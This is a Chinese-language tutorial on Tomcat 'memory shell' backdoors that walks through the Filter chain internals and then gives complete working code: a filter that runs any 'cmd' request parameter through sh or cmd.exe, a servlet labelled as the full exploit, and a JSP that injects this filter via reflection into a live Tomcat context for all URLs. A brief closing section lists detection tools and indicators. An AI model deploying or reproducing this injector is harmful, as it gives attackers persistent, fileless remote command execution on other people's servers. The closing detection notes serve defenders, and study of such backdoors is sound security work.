前言
参考:
环境搭建
起项目模块
maven 配置
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.98</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.98</version>
</dependency>
Servlet、Filter、Listener
此事在 JavaWeb基础 里亦有记载
Tomcat架构
- Server:一个 Tomcat 只有一个 Server,Server 中包含至少一个 Service 组件,用于提供具体服务
- Service:主要是为了关联 Connector 和 Container,同时会初始化下面的其它组件
- Connector:主要负责对外交流,进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文,对应 http 服务器
- Container:主要处理 Connector 接受的请求,主要是处理内部事务,加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求,对应 servlet 容器
Connector
三个组件:
- EndPoint:负责网络通信,将字节流传递给 Processor;
- Processor:负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter;
- Adapter:负责将 Tomcat Request 对象转化成 ServletRequest 对象,传递给容器。
Container(Catalina)
四种容器,是父子关系:
- Engine:最顶层容器组件,可以包含多个 Host。实现类为
org.apache.catalina.core.StandardEngine
- Host:代表一个虚拟主机,每个虚拟主机和某个域名 Domain Name 相匹配,可以包含多个 Context。实现类为
org.apache.catalina.core.StandardHost
- Context:一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。实现类为
org.apache.catalina.core.StandardContext
- Wrapper:一个 Wrapper 对应一个 Servlet。负责管理 Servlet ,包括 Servlet 的装载、初始化、执行以及资源回收。实现类为
org.apache.catalina.core.StandardWrapper
每一个 Context 都有唯一的 path。这里的 path 不是指 servlet 绑定的 WebServlet 地址,而是指独立的一个 Web 应用地址。
就好比 Tomcat 默认的 / 地址和 /manager 地址就是两个不同的 web 应用:/ 地址下还会有我们创建的 servlet 服务,假设 WebServlet 地址分别是 /demo1 和 /demo2,那么它们的 Context 都是 / ,但访问地址不一样所以 Wrapper 不一样;而 /manager 访问的 Web 应用是 Tomcat 默认的管理页面,是另外一个独立的 web 应用,所以是不同的 Context
类加载机制
Tomcat 自定义的类加载器 WebAppClassloader 为了确保隔离多个 WebApp 之间相互隔离,所以打破了双亲委派机制。每个 WebApp 用一个独有的 ClassLoader 实例来优先处理加载。它首先尝试自己加载某个类,如果找不到再交给父类加载器(和双亲委派机制相反),其目的是优先加载 WEB 应用自己定义的类。
同时为了防止 WEB 应用自己的类覆盖 JRE 的核心类,在本地 WEB 应用目录下查找之前,先使用 ExtClassLoader(使用双亲委托机制)去加载
Context
上下文
在WEB请求中,在一次 request 请求发生时,Context 会记录当时的情形:当前 WEB 容器中有几个 filter,有什么 servlet,有什么 listener,请求的参数,请求的路径,有没有什么全局的参数等等
ServletContext
ServletContext 是 Servlet 规范中规定的 ServletContext 接口,一般 Servlet 都要实现这个接口。
大概就是规定了如果要实现一个 WEB 容器,他的 Context 里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的 servlet 等
ctrl + alt + b 查看这个接口实现的所有类
ApplicationContext
这个类使用 Facade 进行了一层包装
可以看到 ApplicationContext 实现了 ServletContext 规范定义的一些方法,包括 addServlet , addFilter 等
StandardContext
org.apache.catalina.core.StandardContext
是子容器Context
的标准实现类,其中包含了对 Context 子容器中资源的各种操作
四种子容器都有其对应的标准实现如下
而在 ApplicationContext 类中,对资源的各种操作实际上是调用了 StandardContext 中的方法
其中的 context 是 StandardContext 对象
Filter 内存马
搭建
自定义 filter
package com.example.memshellenv;
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
web.xml,这里设置 url-pattern 为 /filter
即访问 /filter
才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filter</filter-name>
<filter-class>com.example.memshellenv.filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>
配置部署的应用程序上下文为空
构建完成后访问 /filter
成功触发 filter
流程分析
访问 /filter 后
在 filterChain.doFilter
处下断点,访问 /filter 进行调试
此时已经新建了一个 filter,跟进 doFilter
这里进到 ApplicationFilterChain,Globals.IS_SECURITY_ENABLED
判断全局安全服务是否开启
f8 直接跳到判断结尾
跟进
filters 的定义:
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
观察这里的 filters,可以看到有两个 filter:索引 0 是我们定义的 filter,索引 1 是 tomcat 自带的 filter
因为此时 pos 是 1 所以取到 tomcat 的 filter
继续跟下去到调用 tomcat 的 doFilter
跟进这个 wsFilter 的 doFilter
这里会进 chain.doFilter,注意到这里的 chain 是 ApplicationFilterConfig 对象,里面也有同样的 filters
那么再跟进就会回到同样的地方,但是此时 pos 为 2,进不去有 filterConfig 的判断分支了
这是因为我们是一条 Filter 链,所以会一个个获取 Filter,每次获取都会使 pos+1,直到最后一个
那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次
在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response);
这个地方
后面就是输出响应的部分了
结论: Filter Chain 的调用结构是一个个 doFilter()
的,最后一个 Filter 会调用 Servlet.service()
访问 /filter 前
因为我们需要基于 filter 实现一个内存马,所以我们需要找到 filter 是怎么被创建的
这里下断点可以从调用栈下手,从上面的 doFilter 往前找,这里直接取最下面的 invoke 方法
此时的类是 StandardEngineValve,也就是最顶层的容器组件,从调用栈可知 invoke 的流程,如图:
直接看 doFilter 前最后一个 invoke 方法,也就是 wrapper 部分的
看一下 filterChain 的定义:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
断点下在这里的 createFilterChain 上,跟进
直接跟进到 filterMaps 这里
可以看到 filterMaps 的内容就是我们在 web.xml 配置的
继续往下看
遍历StandardContext.filterMaps
得到 filter 与 URL 的映射关系并通过matchDispatcher()
、matchFilterURL()
方法进行匹配
匹配成功后,还需判断StandardContext.filterConfigs
中,是否存在对应filter的实例,当实例不为空时通过addFilter
方法,将管理 filter 实例的filterConfig
添加入filterChain
对象中
最终返回 filterChain 对象,再进行 doFilter
此次 filterChain.doFilter 会实现对 com.example.memshellenv.filter 的调用
后面就是在访问 /filter 之后的流程分析
总结
- 层层调用 invoke,在最后一个 pipeline 的地方会创建一个 FilterChain,再对里头的 filter 进行一些相关的匹配
- FilterChain 进行
doFilter()
,将请求交给对应的 pipeline 去处理,也就是进行一个doFilter()
->internalDoFilter()
->doFilter()
;直到最后一个 filter 被调用 - 最后一个 filter 会执行完
doFilter()
操作,随后会跳转到Servlet.service()
那么攻击的思路就是在 filterChain.addFilter(filterConfig);
这里,需要控制 filterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。
攻击
分析
我们要思考如何修改 filterMaps ,也就是如何修改 web.xml 中的 filter-mapping 标签
filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext
这个类:
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
StandardContext
这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。
里面有三个和 Filter 有关的成员变量:
private final ContextFilterMaps filterMaps = new ContextFilterMaps(); // 包含所有过滤器的URL映射关系
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
private HashMap<String,FilterDef> filterDefs = new HashMap<>(); // 包含所有过滤器包括实例内部等变量
@Override
public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);
}
private HashMap<String,ApplicationFilterConfig> filterConfigs = new HashMap<>(); // 包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
filterConfigs.put(name, filterConfig);
- filterMaps 中的
FilterMap
记录了不同 filter 与UrlPattern
的映射关系 - filterDefs 成员变量存储了 filter 名称与相应
FilterDef
的对象的键值对,而FilterDef
对象则存储了 Filter 包括名称、描述、类名、Filter 实例在内等与 filter 自身相关的数据 - filterConfigs 成员变量存储了 filter 名称与对应的
ApplicationFilterConfig
对象的键值对,在ApplicationFilterConfig
对象中则存储了 Filter 实例以及该实例在 web.xml 中的注册信息
现在看一下 ApplicationFilterConfig 对象的内容
filterDef:对应 web.xml 中的 filter 标签
<filter> <filter-name>com.example.memshellenv.filter</filter-name> <filter-class>filter</filter-class> </filter>
而 filterConfig 与 filterDef 之间通过 org.apache.catalina.core.StandardContext#filterStart 关联起来
public boolean filterStart() {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterDefs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString("standardContext.filterStart", name), t);
ok = false;
}
}
}
return ok;
}
通过 String name = entry.getKey(); filterConfigs.put(name, filterConfig);
,实现 filterConfig 的添加
构造的主要思路如下:
- 获取当前应用的 ServletContext 对象
- 通过 ServletContext 对象再获取 filterConfigs
- 接着实现自定义想要注入的 filter 对象
- 然后为自定义对象的 filter 创建一个 FilterDef
- 最后把 ServletContext 对象、filter 对象、FilterDef 全部都设置到 filterConfigs 即可完成内存马的实现
构造恶意 filter
先依据常规的 jsp 马,在 filter 里构造同样效果的马
package com.example.memshellenv;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class EvilFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
return;
}
chain.doFilter(req, resp);
}
public void destroy() {
}
}
配置 web.xml
<filter>
<filter-name>evilfilter</filter-name>
<filter-class>com.example.memshellenv.EvilFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>evilfilter</filter-name>
<url-pattern>/evil</url-pattern>
</filter-mapping>
动态添加 filter
由前面Filter实例存储分析得知 StandardContext
Filter 实例存放在 filterConfigs、filterDefs 、filterConfigs 这三个变量里面,将 filter 添加到这三个变量中即可将内存马打入。那么如何获取到 StandardContext
成为了问题的关键
流程图:
获取 StandardContext
直接获取的话会报500:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardroot.getContext();
按照上面 Context 的关系,我们需要先获取 ServletContext
跟踪一下返回 getServletContext 的方法
可以直接用 HttpServletRequest 对象调用 getSession
来调用 getServletContext
然后通过反射 context 来获取 ApplicationContext 对象,再反射 context 得到 StandardContext 对象
ServletContext servletContext = request.getSession().getServletContext();
try {
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
恶意filter对象
完成三步操作 init,doFilter,destory
Filter filter = new Filter() {
@Override
public void init(FilterConfig config) throws ServletException {
}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
return;
}
chain.doFilter(req, resp);
}
@Override
public void destroy() {
}
};
设置 FilterDef 和 FilterMaps
先看一下 FilterDef 的变量,跟到 FilterDef 类后 alt + 7 查看结构
同样的操作查看 FilterMap
于是利用反射往 standardContext 添加 FilterDef 和 FilterMap
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
添加到 FilterConfig 并放到 web.xml
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
完整exp
package com.example.memshellenv;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/test")
public class FilterShell extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
String FilterName = "cmd_Filter";
ServletContext servletContext = request.getSession().getServletContext();
try {
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig config) throws ServletException {
}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
return;
}
chain.doFilter(req, resp);
}
@Override
public void destroy() {
}
};
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//反射获取 ApplicationFilterConfig,构造方法将 FilterDef 传入后获取 filterConfig 后,将设置好的 filterConfig 添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
实战写入
文件上传jsp
但我寻思能传 jsp 了也就能传常规 shell 了,实用性不是特别大
<%--
User: Drunkbaby
Date: 2022/8/27
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
final String name = "0w0";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>
反序列化打内存马
内存马排查
利用 java agent 技术遍历所有已经加载到内存中的 class
工具:
https://github.com/alibaba/arthas
https://github.com/LandGrey/copagent
https://github.com/c0ny1/java-memshell-scanner
识别内存马:
- filter 名字特别
- shiro 环境下 filter 优先级是第一位
- 对比 web.xml 没有 filter 配置:但 servlet 3.0引入了 @WebFilter 标,不用在 web.xml 里显式声明
- 特殊的 classLoader 加载:反序列化常见的 class,如
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
和com.sun.org.apache.bcel.internal.util.ClassLoader
- 对应的 classloader 路径下没有 class 文件
查杀内存马:
清除 filter 中的恶意代码
模拟中间件注销 filter